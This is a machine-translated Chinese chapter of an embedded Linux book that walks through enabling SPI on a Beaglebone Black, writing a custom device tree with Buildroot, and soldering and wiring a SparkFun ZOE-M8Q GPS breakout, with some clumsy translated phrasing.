前导`#`表示该行中该字符之后的任何内容都将被注释掉。 因此,U-Boot 会忽略前面代码中显示的所有`disable_uboot_overlay_=1`语句。 此配置文件应用于 U-Boot 的环境,因此保存到`/boot/uEnv.txt`的任何更改都需要重新启动才能生效。 - -重要音符 - -音频覆盖与 Beaglebone Black 上的 SPI1 总线冲突。 如果要启用 SPI1 上的通信,请取消注释`/boot/uEnv.txt`中的`disable_uboot_overlay_audio=1`。 - -要列出 U-Boot 已加载的设备树覆盖,请使用以下命令: - -```sh -$ cd /opt/scripts/tools -$ sudo ./version.sh | grep UBOOT -UBOOT: Booted Device-Tree:[am335x-boneblack-uboot-univ.dts] -UBOOT: Loaded Overlay:[AM335X-PRU-RPROC-4-19-TI-00A0] -UBOOT: Loaded Overlay:[BB-ADC-00A0] -UBOOT: Loaded Overlay:[BB-BONE-eMMC1-01-00A0] -UBOOT: Loaded Overlay:[BB-NHDMI-TDA998x-00A0] -``` - -CAPE 通用特性([AM3358](https://github.com/cdsteinkuehler/beaglebone-universal-io))是 https://github.com/cdsteinkuehler/beaglebone-universal-io 版本所独有的。 它提供了对 Beaglebone Black 几乎所有硬件 I/O 的访问,而无需我们修改设备树源或重新构建内核。 不同的管脚多路复用器配置在运行时使用`config-pin`命令行工具激活。 - -要查看所有可用的 ping 组,请使用以下代码: - -```sh -$ cat /sys/kernel/debug/pinctrl/*pinmux*/pingroups -``` - -要仅查看 SPI ping 组,请使用以下代码: - -```sh -$ cat /sys/kernel/debug/pinctrl/*pinmux*/pingroups | grep spi -group: pinmux_P9_19_spi_cs_pin -group: pinmux_P9_20_spi_cs_pin -group: pinmux_P9_17_spi_cs_pin -group: pinmux_P9_18_spi_pin -group: pinmux_P9_21_spi_pin -group: pinmux_P9_22_spi_sclk_pin -group: pinmux_P9_30_spi_pin -group: pinmux_P9_42_spi_cs_pin -group: pinmux_P9_42_spi_sclk_pin -``` - -仅将一个管脚分配给一个 ping 组是不寻常的。 通常,总线的所有 SPI 引脚(CS、SCLK、D0 和 D1)在同一引脚组中多路复用。 我们可以通过查看设备树源(位于 Debian 映像的`/opt/source/dtb-4.19-ti/src/arm`目录中)来确认这种奇怪的一对一引脚到组的关系。 - -源目录中`am335x-boneblack-uboot-univ.dts`文件包含以下内容: - -```sh -#include "am33xx.dtsi" -#include "am335x-bone-common.dtsi" -#include "am335x-bone-common-univ.dtsi" -``` - -该`.dts`文件与包含的三个`.dtsi`文件一起定义设备树源。 `dtc`工具将这四个源文件编译成一个`am335x-boneblack-uboot-univ.dtb`文件。 U-Boot 还会在此 CAPE 通用设备树的顶部加载设备树覆盖。 这些设备树覆盖的文件扩展名为`.dtbo`。 - -以下是`pinmux_P9_17_spi_cs_pin`的 ping 组定义: - -```sh -P9_17_spi_cs_pin: pinmux_P9_17_spi_cs_pin { pinctrl-single,pins = < - AM33XX_IOPAD(0x095c, PIN_OUTPUT_PULLUP | INPUT_EN | MUX_MODE0) >; }; -``` - -`pinmux_P9_17_spi_cs_pin`组将 P9 扩展接头上的引脚 17 配置为 SPI0 总线的 CS 引脚。 - -下面是`P9_17_pinmux`定义,其中引用了`pinmux_P9_17_spi_cs_pin`: - -```sh -/* P9_17 (ZCZ ball A16) */ -P9_17_pinmux { - compatible = "bone-pinmux-helper"; - status = "okay"; - pinctrl-names = "default", "gpio", "gpio_pu", "gpio_pd", "gpio_input", "spi_cs", "i2c", "pwm", "pru_uart"; - pinctrl-0 = <&P9_17_default_pin>; - pinctrl-1 = <&P9_17_gpio_pin>; - pinctrl-2 = <&P9_17_gpio_pu_pin>; - pinctrl-3 = <&P9_17_gpio_pd_pin>; - pinctrl-4 = <&P9_17_gpio_input_pin>; - pinctrl-5 = <&P9_17_spi_cs_pin>; - pinctrl-6 = <&P9_17_i2c_pin>; - pinctrl-7 = <&P9_17_pwm_pin>; - pinctrl-8 = <&P9_17_pru_uart_pin>; -}; -``` - -请注意,`pinmux_P9_17_spi_cs_pin`组是配置`P9_17_pinmux`的九种不同方式之一。 由于`spi_cs`不是该引脚的默认配置,因此 SPI0 总线最初被禁用。 - -要启用`/dev/spidev0.0`,请运行以下`config-pin`命令: - -```sh -$ config-pin p9.17 spi_cs -Current mode for P9_17 is: spi_cs -$ config-pin p9.18 spi -Current mode for P9_18 is: spi -$ config-pin p9.21 spi -Current mode for P9_21 is: spi -$ config-pin p9.22 spi_sclk -Current mode for P9_22 is: spi_sclk -``` - -如果遇到权限错误,请重新运行`config-pin`命令并为其添加前缀`sudo`。 输入`temppwd`作为`debian`用户的`password`。 在图书代码归档的 -`MELP/Chapter12`下有一个包含这四个`config-pin`命令的`config-spi0.sh`脚本。 - -Debian 附带安装了 Git,因此您可以克隆本书的 ReposiTory 来获取归档文件: - -```sh -$ git clone https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition.git MELP -``` - -要在启动 Beaglebone Black 时启用`/dev/spidev0.0`,请使用以下命令 -: - -```sh -$ MELP/Chapter12/config-spi0.sh -``` - -`sudo`密码与`debian`登录提示符相同。 - -Linux 内核源代码随一起提供了一个`spidev_test`程序。 我已经在本书的`MELP/Chapter12/spidev-test`下的代码归档中包含了这个`spidev_test.c`源文件的副本,它是我从[https://github.com/rm-hull/spidev-test](https://github.com/rm-hull/spidev-test)获得的。 - -要编译`spidev_test`程序,请执行以下命令: - -```sh -$ cd MELP/Chapter12/spidev-test -$ gcc spidev_test.c -o spidev_test -``` - -现在,运行`spidev_test`程序: - -```sh -$ ./spidev_test -v -spi mode: 0x0 -bits per word: 8 -max speed: 500000 Hz (500 KHz) -TX | FF FF FF FF FF FF 40 00 00 00 00 95 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF F0 0D | ......@....?..................?. -RX | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................................ -``` - -`-v`标志是`--verbose`的缩写,显示发送缓冲区的内容。 此版本的`spidev_test`程序默认使用`/dev/spidev0.0`设备,因此不需要传入`--device`参数来选择 SPI0 总线。 SPI 的全双工特性意味着总线主机在发送数据时接收数据。 在这种情况下,RX 缓冲区包含全零,这意味着没有接收到数据。 事实上,甚至不能保证发送缓冲区中的任何数据都已发送。 - -使用跳线将 Beaglebone Black 的 P9 扩展接头上的插针 18(SPI0_D1)连接到插针 21(SPI0_D0),如下所示: - -![Figure 12.6 – SPI0 loopback](img/B11566_12_06.jpg) - -图 12.6-SPI0 环回 - -P9 扩展接头的贴图是定向的,以便当 USB 端口位于底部时,接头位于 Beaglebone Black 的左侧。 从 SPI0_D1 到 SPI0_D0 的跳线通过将 MOSI(主机输出)馈入 MISO(主机输入)形成环回连接。 - -重要音符 - -不要忘记在重新启动或重新打开 Beaglebone Black 后重新运行`config-spi0.sh`脚本,以重新启用`/dev/spidev0.0`界面。 - -环回连接到位后,重新运行`spidev_test`程序: - -```sh -$ ./spidev_test -v -spi mode: 0x0 -bits per word: 8 -max speed: 500000 Hz (500 KHz) -TX | FF FF FF FF FF FF 40 00 00 00 00 95 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF F0 0D | ......@....................... -RX | FF FF FF FF FF FF 40 00 00 00 00 95 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF F0 0D | ......@....................... -``` - -RX 缓冲区的内容现在应该与 TX 缓冲区的内容匹配。 我们已验证`/dev/spidev0.0`接口完全正常工作。 有关运行时管脚多路复用的更多信息,包括 Beaglebone Black 的设备树和覆盖层的起源,我推荐阅读[https://cdn-learn.adafruit.com/downloads/pdf/introduction-to-the-beaglebone-black-device-tree.pdf](https://cdn-learn.adafruit.com/downloads/pdf/introduction-to-the-beaglebone-black-device-tree.pdf)。 - -## 自定义设备树 - -`BeagleBoard.org`的 cape 通用设备树非常适合原型制作,但像`config-pin`这样的工具不适合生产。当我们出厂一台消费设备时,我们知道包括哪些外围设备。除了从 EEPROM 读取型号和修订号之外,引导过程中不应该涉及硬件发现 -。然后 U-Boot 可以根据这一点决定加载什么设备树和覆盖。与选择内核模块一样,设备树的内容是在编译时做出的最佳决定,而不是 - -最终,我们需要为定制 AM335x 板自定义设备树源。 包括德州仪器在内的大多数 SoC 供应商都提供用于生成设备树源的交互式管脚多路复用器 -工具。 我们将使用 Texas Instruments Online SysConfig 工具向我们的 Nova 板添加`spidev`接口。 在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*的*将 Linux 移植到新的主板*一节中,我们已经为 Nova 定制了设备树,并再次在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统,*当我们了解如何为 Buildroot 创建自定义 BSP 时。 这一次,我们将添加到`am335x-boneblack.dts`文件中,而不是逐字复制。 - -访问[https://dev.ti.com](https://dev.ti.com)并创建一个帐户(如果您还没有帐户)。 您需要 myTI 帐户才能访问在线 SysConfig 工具。 - -要创建 myTI 帐户,请执行以下步骤: - -1. 单击登录页面右上角的**登录/注册**按钮。 -2. 填写**新用户**表单。 -3. 单击**创建帐户**按钮。 - -要启动 SysConfig 工具,请执行以下步骤: - -1. 单击登录页面右上角的**登录/注册**按钮。 -2. 在**现有 myTI 用户**下输入您的电子邮件地址和密码进行登录。 -3. 点击**Cloud Tools**下的 SysConfig**Launch**按钮。 - -**启动**按钮将把您带到位于[https://dev.ti.com/sysconfig/#/start](https://dev.ti.com/sysconfig/#/start)的系统配置起始页,您可以将其添加为书签,以便更快地访问。 SysConfig 允许我们将正在工作的设计保存到云中,以便我们以后可以重新访问它们。 - -要为 AM335x 生成 SPI0 针多路复用器配置,请执行以下步骤: - -1. 从**开始新设计**下的**设备**菜单中选择**AM335x**。 -2. 保留 AM335x 的默认**部件**和**封装**菜单选项**默认**和**ZCE**不变。 -3. 单击**开始**按钮。 -4. 从左侧栏中选择**SPI**。 -5. Click the **ADD** button to add an SPI to your design: - - ![Figure 12.7 – Adding an SPI peripheral](img/B11566_12_07.jpg) - - 图 12.7-添加 SPI 外围设备 - -6. 将**MySP1**重命名为`SPI0`,方法是在**Name**字段中键入该名称。 -7. Select **SPI0** from the **Use Peripheral** menu: - - ![Figure 12.8 – Selecting SPI0](img/B11566_12_08.jpg) - - 图 12.8-选择 SPI0 - -8. Select **Master SPI with 1 chip select** from the **Use Case** menu: - - ![Figure 12.9 – Master SPI with 1 chip select](img/B11566_12_09.jpg) - - 图 12.9-带 1 个芯片选择的主 SPI - -9. 取消选中**CS1**复选框以删除该项目。 -10. 单击**Generated Files**下的`devicetree.dtsi`查看设备树源。 -11. Select **Pull Up** from the **Pull Up/Down** menu for **Signals**: - - ![Figure 12.10 – Pull up signals](img/B11566_12_10.jpg) - - 图 12.10-上拉信号 - - 请注意这对显示的设备树源造成的影响。 - `PIN_INPUT`的所有实例都已用`PIN_INPUT_PULLUP`替换为。 - -12. Uncheck the **Rx** checkboxes for **D1**, **SCLK**, and **CS0** since those pins are outputs from the AM335x master, not inputs: - - ![Figure 12.11 – Unchecking the Rx boxes](img/B11566_12_11.jpg) - - 图 12.11-取消选中处方框 - - **D0**引脚对应于 MISO(主机输入,从机输出),因此保持该引脚的**Rx**处于选中状态。 现在,设备树源中的`spi0_sclk`、`spi0_d1`和`spi0_cs0`引脚应配置为`PIN_OUTPUT_PULLUP`。 回想一下,SPI CS 信号通常为低电平有效,因此需要上拉来防止该线路浮动。 - -13. 单击`devicetree.dtsi`的软盘图标,将设备树源文件保存到您的机器。 -14. 从左上角的**File**菜单中点击**Save as**保存您的设计。 -15. 为您的设计文件指定一个描述性名称,如`nova.syscfg`,然后单击**保存**。 -16. 保存到计算机的`.dtsi`文件的内容应如下所示: - -```sh -&am33xx_pinmux { - spi0_pins_default: spi0_pins_default { - pinctrl-single,pins = < - AM33XX_IOPAD(0x950, PIN_OUTPUT_PULLUP | MUX_MODE0) /* (A18) spi0_sclk.spi0_sclk */ - AM33XX_IOPAD(0x954, PIN_INPUT_PULLUP | MUX_MODE0) /* (B18) spi0_d0.spi0_d0 */ - AM33XX_IOPAD(0x958, PIN_OUTPUT_PULLUP | MUX_MODE0) /* (B17) spi0_d1.spi0_d1 */ - AM33XX_IOPAD(0x95c, PIN_OUTPUT_PULLUP | MUX_MODE0) /* (A17) spi0_cs0.spi0_cs0 */ - >; - }; - […] -}; -``` - -我省略了可选的睡眠销设置,因为我们不需要它们。 如果我们将前面代码中显示的十六进制管脚地址与`am335x-bone-common-univ.dtsi`中相同 SPI0 管脚的地址进行比较,我们会发现它们完全匹配。 - -`am335x-bone-common-univ.dtsi`中的 SPI0 引脚全部配置如下: - -```sh -AM33XX_IOPAD(0x095x, PIN_OUTPUT_PULLUP | INPUT_EN | MUX_MODE0) -``` - -使用`INPUT_EN`位掩码表明,CAPE 通用设备树中的所有四个 SPI0 引脚都配置为输入和输出,而实际上只有`0x954`处的`spi0_ds0`需要用作输入。 - -`INPUT_EN`位掩码是`/opt/source/dtb-4.19-ti/include/dt-bindings/pinctrl/am33xx.h`头文件中定义的许多宏之一,可以在 Debian Buster IoT 镜像中找到: - -```sh -#define PULL_DISABLE (1 << 3) -#define INPUT_EN (1 << 5) -[…] -#define PIN_OUTPUT (PULL_DISABLE) -#define PIN_OUTPUT_PULLUP (PULL_UP) -#define PIN_OUTPUT_PULLDOWN 0 -#define PIN_INPUT (INPUT_EN | PULL_DISABLE) -#define PIN_INPUT_PULLUP (INPUT_EN | PULL_UP) -#define PIN_INPUT_PULLDOWN (INPUT_EN) -``` - -在`/opt/source/dtb-4.19-ti include/dt-bindings/pinctrl/omap.h`头文件中定义了更多 TI 设备树源宏: - -```sh -#define OMAP_IOPAD_OFFSET(pa, offset) (((pa) & 0xffff) - (offset)) -[…] -#define AM33XX_IOPAD(pa, val) OMAP_IOPAD_OFFSET((pa), 0x0800) (val) -``` - -现在我们已经正确地多路复用了 SPI0 引脚,接下来将生成的设备树源复制并粘贴到我们的`nova.dts`文件中。 一旦定义了这个新的`spi0_pins_default`Pinggroup,我们就可以通过覆盖该 Pinggroup 与`spi0`设备节点相关联,如下所示: - -```sh -&spi0 { - status = "okay"; - pinctrl-names = "default"; - pinctrl-0 = <&spi0_pins_default>; - […] -} -``` - -设备节点名称前的`&`符号表示我们引用的是设备树中的现有节点,因此修改的是设备树中的现有节点,而不是定义新节点。 - -我已经将完成的`nova.dts`文件包含在本书的代码归档中,位于 -`MELP/Chapter12/buildroot/board/melp/nova`目录中。 - -要使用此设备树为我们的 Nova 板构建自定义 Linux 映像,请执行以下步骤: - -1. Copy `MELP/Chapter12/buildroot` over your Buildroot installation: - - ```sh - $ cp -a MELP/Chapter12/buildroot/* buildroot - ``` - - 这将添加`nova_defconfig`文件和`board/melp/nova`目录,或替换`MELP/Chapter06/buildroot`中的文件和目录。 - -2. `cd`到安装 Buildroot 的目录: - - ```sh - $ cd buildroot - ``` - -3. 删除所有以前的生成项目: - - ```sh - $ make clean - ``` - -4. 准备好为我们的 Nova 董事会建立形象: - - ```sh - $ make nova_defconfig - ``` - -5. 构建镜像: - - ```sh - $ make - ``` - -构建完成后,映像将写入名为`outpimg/sdcard.img`的文件。 使用 Etcher 将该图像写入 microSD 卡。 请参阅[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中的*简介 Buildroot*中的*目标真实硬件*部分,了解如何执行此操作。 当 Etcher 完成闪烁后,将 microSD 插入 Beaglebone Black。 根文件系统中不包含 SSH 守护进程,因此您需要连接串行电缆才能登录。 - -要通过串行控制台登录 Beaglebone Black,请执行以下步骤: - -1. 将 Linux 主机上的 USB 至 TTL 3.3V 串行电缆插入 Beaglebone Black 的 J1 接口。 确保电缆 FTDI 端的黑线连接到 J1 的针脚 1。 串行端口在 Linux 主机上应显示为`/dev/ttyUSB0`。 -2. 启动适当的终端程序,如`gtkterm`、`minicom`或`picocom`,并以`115200`**位/秒(Bps)**的速度将其连接到端口,而不进行流量控制。 `gtkterm`可能是最容易设置和使用的: - - ```sh - $ gtkterm -p /dev/ttyUSB0 -s 115200 - ``` - -3. 通过 5V 桶接头为 Beaglebone Black 通电。 您应该会在串行控制台上看到 U-Boot 输出、内核日志输出以及最终的登录提示。 -4. 以`root`身份登录,无需密码。 - -向上滚动或输入`dmesg`以查看引导期间的内核消息。 类似以下内容的内核消息确认通过我们在`nova.dts`中定义的绑定成功探测了`spidev0.0`接口: - -```sh -[ 1.368869] omap2_mcspi 48030000.spi: registered master spi0 -[ 1.369813] spi spi0.0: setup: speed 16000000, sample trailing edge, clk normal -[ 1.369876] spi spi0.0: setup mode 1, 8 bits/w, 16000000 Hz max --> 0 -[ 1.372589] omap2_mcspi 48030000.spi: registered child spi0.0 -``` - -出于测试目的,根文件系统附带了`spi-tools`包。 该包由`spi-config`和`spi-pipe`命令行工具组成。 - -以下是`spi-config`的用法: - -```sh -# spi-config -h -usage: spi-config options... - options: - -d --device= use the given spi-dev character device. - -q --query print the current configuration. - -m --mode=[0-3] use the selected spi mode: - 0: low idle level, sample on leading edge, - 1: low idle level, sample on trailing edge, - 2: high idle level, sample on leading edge, - 3: high idle level, sample on trailing edge. - -l --lsb={0,1} LSB first (1) or MSB first (0). - -b --bits=[7...] bits per word. - -s --speed= set the speed in Hz. - -r --spirdy={0,1} consider SPI_RDY signal (1) or ignore it (0). - -w --wait block keeping the file descriptor open to avoid speed reset. - -h --help this screen. - -v --version display the version number. -``` - -这里的是`spi-pipe`的用法: - -```sh -# spi-pipe -h -usage: spi-pipe options... - options: - -d --device= use the given spi-dev character device. - -s --speed= Maximum SPI clock rate (in Hz). - -b --blocksize= transfer block size in byte. - -n --number= number of blocks to transfer (-1 = infinite). - -h --help this screen. - -v --version display the version number. -``` - -在本章中,我不会使用`spi-tools`,而是依赖于`spidev-test`和我称之为`spidev-read`的同一个程序的修改版本。 - -现在,我们已经了解了本书中将要介绍的设备树源。 虽然 DTS 的用途非常广泛,但它也可能非常令人沮丧。 `dtc`编译器不是很智能,所以很多设备树源代码调试都是在运行时使用`modprobe`和`dmesg`进行的。 在引脚多路复用时忘记上拉或将输入错误配置为输出可能足以阻止设备探测。 使用带有 SDIO 接口的 Wi-Fi/蓝牙模块尤其具有挑战性。 - -随着 SPI 的退出,现在是近距离使用 GPS 模块的时候了。 完成 SparkFun Zoe-M8Q GPS 出口的布线后,我们将返回到通用`spidev`接口的主题。 - -# 用接线板制作原型 - -现在我们已经有了开发 Beaglebone Black 的 SPI,让我们把注意力转回到 GPS 模块 -。 在我们连接 SparkFun Zoe-M8Q GPS 突破口之前,我们需要做一些焊接工作。 焊接需要办公桌空间、材料和相当长的时间投入。 - -要执行此项目的焊接,您需要以下物品: - -* 锥形顶端的烙铁(温度可调) -* 下列任何一种:硅胶汽车仪表盘防滑垫、硅胶烘焙垫或瓷砖 -* 一种精细(0.031 英寸规格)的电松香芯焊料 -* 一种烙铁支架 -* 湿海绵 -* 钢丝切割机 -* 安全眼镜 -* 帮助手工具,以及放大镜和 LED 灯 -* 带有#2 刀片的 X-Acto#2 刀或带有#11 刀片的#1 刀 - -拥有这些物品很不错,但不是必须的: - -* 一种绝缘有机硅焊垫 -* 焊料芯 -* 一块黄铜海绵 -* 粘性大头针或类似的油灰状粘合剂 -* 牙科工具包 -* 尖嘴钳 -* 镊子,小钳子 - -这些项目中的大多数都与 SparkFun 初学者工具包捆绑在一起,但也可以在其他地方以较低的价格购买。 如果您是焊接新手,我还建议您在操作 ZOE-M8Q 之前,先获得一些废弃的 PCB 来练习。 SparkFun GPS Breakout 上的孔很小,需要稳定、精细的触摸。 一个带有放大镜和鳄鱼夹的帮手工具非常有帮助。 当你使用焊料时,一些粘性的大头钉也可以将支撑板固定在坚硬、平坦的表面上。 完成后,用 X-Acto 刀刮掉触点上或附近多余的粘性钉子。 - -即使你是电子学的新手,我也鼓励你大胆尝试,学习焊接。 你可能需要几天的挫折才能掌握其中的诀窍,但你从建造自己的赛道中获得的满足感是非常值得的。 我推荐阅读 MightyOhm 的免费*焊接很容易*漫画书,作者是 Mitch Altman 和 Andie Nordgren。 - -以下是我自己的一些有用的焊接技巧。 用黄铜海绵擦拭焊锡尖端可以避免麻烦的氧化。 使用 X-Acto 刀刮掉 PCB 上的任何零星焊料斑点。 用热熨斗熔化硅胶垫子上的焊料,以适应其特性。 最后,处理热焊料时一定要戴上安全眼镜,以免进入眼睛。 - -## 关闭 SPI 跳线 - -我们在名为 jp1 的跳线左侧的 SparkFun GPS 接线示意图上找到了 D_SEL 引脚。 将 D_SEL 引脚连接到跳线右侧的 GND 可将 ZOE-M8Q 从 I2C 模式切换到 SPI 模式。 两个 SPI 跳线焊盘上已经有一些焊料了。 我们需要加热焊盘,这样我们才能移动焊料。 - -翻转接线板可以看到跳投。 请注意,jp1 跳线在主板的左侧中央标有 SPI: - -![Figure 12.12 – Jumpers](img/B11566_12_12.jpg) - -图 12.12-跳线 - -要关闭 SPI 跳线,请执行以下操作: - -1. 插上电源,将烙铁加热到华氏 600 度。 -2. 用手中的所有鳄鱼夹固定 GPS 突破口。 -3. 将你的手放在放大镜和 LED 灯的位置,这样你就可以清楚地看到 SPI 跳线。 -4. 将焊针放在 SPI 跳线的左右焊盘上,直到焊料熔化,在两个焊盘之间形成一座桥。 -5. 如有必要,请随意添加更多焊料。 -6. 用烙铁的尖端熔化跳线焊盘上多余的焊料,并将其从跳线焊盘上取下。 - -闭合跳线只需要很少的焊料。 如果焊料开始冒烟,就把熨斗的温度调低。 一旦 SPI 跳线关闭,ZOE-M8Q 上的串行和 I2C 通信将被禁用。 接线板顶部的 FTDI 和 I2C 引脚标签不再适用。 使用电路板底面的 SPI 引脚标签。 - -给小费 / 翻倒 / 倾覆 - -使用尖端的一侧(也被称为“甜蜜点”),而不是铁头的尖端,以获得最好的效果。 - -我们不需要对 JP2 重复相同的焊接过程,因为焊盘 -已经桥接在该跳线上。 JP2 的两个 2.2kΩ -I2C 上拉电阻器各有一个单独的焊盘。 请注意,JP2 位于 JP1 的正上方,并在中断板上标记为 I2C。 - -现在 SPI 跳线已关闭,让我们连接 GNSS 天线。 - -## 安装 GNSS 天线 - -陶瓷或 Molex 粘性 GNSS 天线可帮助 ZOE-M8Q 获得 GPS 定位。 U.FL 接头易碎,应小心使用。 将接线板平放在坚硬的表面上,并使用放大镜确保天线正确放置。 - -要将 GNSS 天线连接到 U.FL 连接器,请执行以下步骤: - -1. 对齐电缆,使凹式连接器和一端均匀地放置在电路板上凸式连接器的表面上。 -2. 将手指轻轻放在堆叠的连接器上,确保母连接器没有摇晃。 -3. 从上方检查两个堆叠的连接器,确保它们彼此居中。 -4. 用手指中心牢牢按住接头中心,直到感觉到两个接头锁定到位。 - -既然天线已连接,我们就可以连接 SPI 接头了。 - -## 连接 SPI 接头 - -我们将使用 6 根凸形到凹形跳线将 SparkFun GPS 突破口连接到 -Beagleboard Black。 跳线的凸端插入 Beaglebone Black 上的 P9 扩展接头。 凹头的两端插入一排直开的插头,我们将把这些插头焊接到插线板上。 在接头插针就位的情况下进行通孔焊接可能会很困难,因为插针在孔中几乎没有留出空间让焊料和针尖滑进去。 这就是为什么我推荐这个项目使用细规格(0.031 英寸或更小)焊料的原因。 - -如果你没有操作小型电子元件的经验,你应该首先练习将一些直接分离的接头焊接到废弃的 PCB 上。 稍加准备就可以避免损坏和更换昂贵的 Zoe-M8Q GPS 模块。 正确的焊点应该围绕接头引脚流动,并填满孔洞,形成一个火山形状的土堆。 焊点需要接触孔周围的金属环。 针脚和金属环之间的任何间隙都可能导致连接不良。 - -要准备好 SparkFun GPS 出口以便您可以连接 SPI 标题,请按照 -以下步骤操作: - -1. 折断一排八个插头销。 -2. 折断一排四个插头销。 -3. 通过接线板下侧的 SPI 孔插入 8 行。 -4. 通过与插接板底面 - 上的 SPI 行相对的孔插入四行。 此接头仅用于在 - 焊接时保持电路板稳定。 -5. 用你手中的鳄鱼夹固定 GPS 突破口。 -6. 将手放在放大镜和 LED 灯的位置,以便您可以清楚地看到接线板顶部的八排 FTDI 和 I2C 孔。 -7. 插入并将您的烙铁加热至 600 至 650°F(含铅焊料)或 650 至 700°F(无铅焊料)。 - -对标有 SDA、SCL、GND、3V3、RXI 和 TXO 的转接板顶部的六个孔执行以下步骤: - -1. 将一个非常小的焊料球涂在热熨斗的尖端,以帮助准备接头。 -2. 通过用熨斗的尖端接触插头销和金属环的边缘来加热孔周围的金属环边缘。 -3. 在熨斗尖端保持不动的情况下,将焊料送入接头,直到孔被填满。 -4. 用熨斗的尖端慢慢拉起熔化的焊料,形成一个小土堆。 -5. 用 X-Acto 刀刮掉任何散落的焊料斑点,并使用焊料芯去除孔之间意外的焊接桥。 -6. 用湿海绵或黄铜海绵清除熨斗尖端上形成的任何黑色氧化。 - -重复这些步骤,直到所有六个针脚都焊接到孔中。 完成后,接线板的顶部应如下所示: - -![Figure 12.13 – Solder joints](img/B11566_12_13.jpg) - -图 12.13-焊点 - -请注意,这张照片中已经连接了跳线,尽管我们还没有接触到它们。 每排八个标记为 NC 的两个孔不需要焊接,因为它们没有连接到任何东西。 - -## 连接 SPI 跳线 - -翻转开口板,使底面再次可见。 通过这样做,我们可以连接跳线。 对于 GND 使用黑色或灰色导线,对于 3v3 使用红色或橙色导线,以避免将它们混合在一起并损坏您的接线板。 对其他导线使用不同的颜色也很有帮助,这样我们就不会混淆 SPI 线。 - -以下是将我的六根跳线插入插线板下侧的插头插针时的母端: - -![Figure 12.14 – Female ends of the SPI jumper wires](img/B11566_12_14.jpg) - -图 12.14-SPI 跳线的母端 - -要将 SPI 跳线的公端连接到 Beaglebone Black 上的 P9 扩展接头,请执行以下步骤: - -1. 断开 Beaglebone Black 的电源。 -2. 将 GPS 的接地线连接到 P9 上的引脚 1。 -3. 将 GPS 上的 CS 线连接到 P9 上的针脚 17。 -4. 将 GPS 的 CLK 线连接到 P9 上的 22 针。 -5. 将 3v3 导线从 GPS 连接到 P9 的引脚 3。 -6. 将 MOSI 线从 GPS 连接到 P9 上的 18 号针脚。 -7. 将 GPS 上的 MISO 线连接到 P9 上的 21 号针脚上。 - -通常,最好先连接 GND 线,然后再连接任何其他线。 这可以保护 Beaglebone 的 I/O 线路不受 GPS 突破口上可能积聚的任何静电放电的影响。 - -连接时,六根跳线的凸端应如下所示: - -![Figure 12.15 – Male ends of the SPI jumper wires](img/B11566_12_15.jpg) - -图 12.15-SPI 跳线的凸端 - -在我的例子中,连接到引脚 1 的灰色导线是 GND,连接到引脚 3 的黄色导线是 3v3。 连接到 18 号针脚的蓝线是我的 GPS 突破口上的 MOSI。 请注意,不要将 3v3 导线插入 P9 上 VDD_3v3 引脚正下方的任何 VDD_5V 引脚中,否则可能会损坏您的接线板。 - -要启用 Beaglebone Black 上的 SPI0 总线并打开 GPS 出口,请执行以下步骤: - -1. 将 Debian Buster IoT microSD 卡插入您的 BeaGlebone Black。 -2. 通过连接 5V 电源为 Beaglebone Black 通电。 -3. 用以太网线将主板插入路由器的端口,将 Beaglebone Black 连接到互联网。 -4. 在 Beaglebone Black 中 SSH 为`debian`: - - ```sh - $ ssh debian@beaglebone.local - ``` - -5. 密码为`temppwd`。 -6. 导航到本章的目录,该目录可以在本书的存档中找到: - - ```sh - $ cd MELP/Chapter12 - ``` - -7. 启用`/dev/spidev0.0`接口: - - ```sh - $ sudo ./config-spi0.sh - ``` - -导航到`spidev-test`源目录并连续运行`spidev_test`程序几次: - -```sh -debian@beaglebone:~$ cd MELP/Chapter12/spidev-test -$ ./spidev_test -$ ./spidev_test -``` - -按*向上箭头*键使我们不必重新键入上一个命令。 在第二次尝试时,您应该会在 RX 缓冲区中看到以`$GNRMC`开头的 NMEA 字符串: - -```sh -$ ./spidev_test -spi mode: 0x0 -bits per word: 8 -max speed: 500000 Hz (500 KHz) -RX | 24 47 4E 52 4D 43 2C 2C 56 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 4E 2A 34 44 0D 0A 24 47 4E 56 54 47 2C | $GNRMC,,V,,,,,,,,,,N*4D..$GNVTG, -``` - -如果您在 RX 缓冲区中看到类似于此处所示的 NMEA 语句,则一切都按计划进行。 祝贺你!。 这个项目最困难的部分现在已经结束了。 剩下的就是“仅仅是软件”,正如我们在业内喜欢说的那样。 - -如果`spidev_test`没有收到来自 gps 模块的 nmea 语句([https://en.wikipedia.org/wiki/NMEA_0183](https://en.wikipedia.org/wiki/NMEA_0183)),下面是我们应该问自己的一些问题: - -1. Is the cape universal device tree loaded? - - 使用`sudo`到 - 在`/opt/scripts/tools`下运行`version.sh`脚本进行验证。 - -2. Did we run the `config-spi0` script without errors? - - 如果遇到权限错误,请使用`sudo`重新运行`config-spi0`。 任何后续的`No such file or directory`错误都意味着 U-Boot 无法 - 加载 CAPE 通用树。 - -3. Is the power LED on the breakout board lighting up red? - - 如果没有,则 3v3 未连接,因此 GPS 出口未通电。 如果你有一个万用表,那么你可以用它来确定 GPS Breakout 是否真的接收 Beaglebone Black 的 3.3V 电压。 - -4. Is the GND jumper wire from the GPS Breakout connected to pin 1 or 2 on P9? - - GPS 突破口将不会在正确接地的情况下运行。 - -5. Are there any loose jumper wires on either end? - - 其余四条导线(CS、SCLK、MISO 和 MOSI)对于正常工作的 SPI 接口至关重要。 - -6. Are the MOSI and MISO jumper wires swapped on either end? - - 就像在 UART 上交换 TX 和 RX 行一样,这个错误是出了名的容易犯。 用彩色标记我们的跳线很有帮助,但用胶带给它们贴上名字的标签就更好了。 - -7. Are the CS and SCLK jumper wires swapped on either end? - - 为我们的跳线选择不同的颜色可以帮助我们避免类似的错误。 - -如果对所有这些问题的回答都通过了,那么我们现在就可以连接逻辑分析仪了。 如果您没有逻辑分析仪,那么我建议您重新检查 jp1 跳线和所有六个焊点。 确保 jp1 跳线焊盘正确连接。 填充插头销与其周围的金属环之间的任何间隙。 清除任何可能会使两个相邻引脚短路的多余焊料。 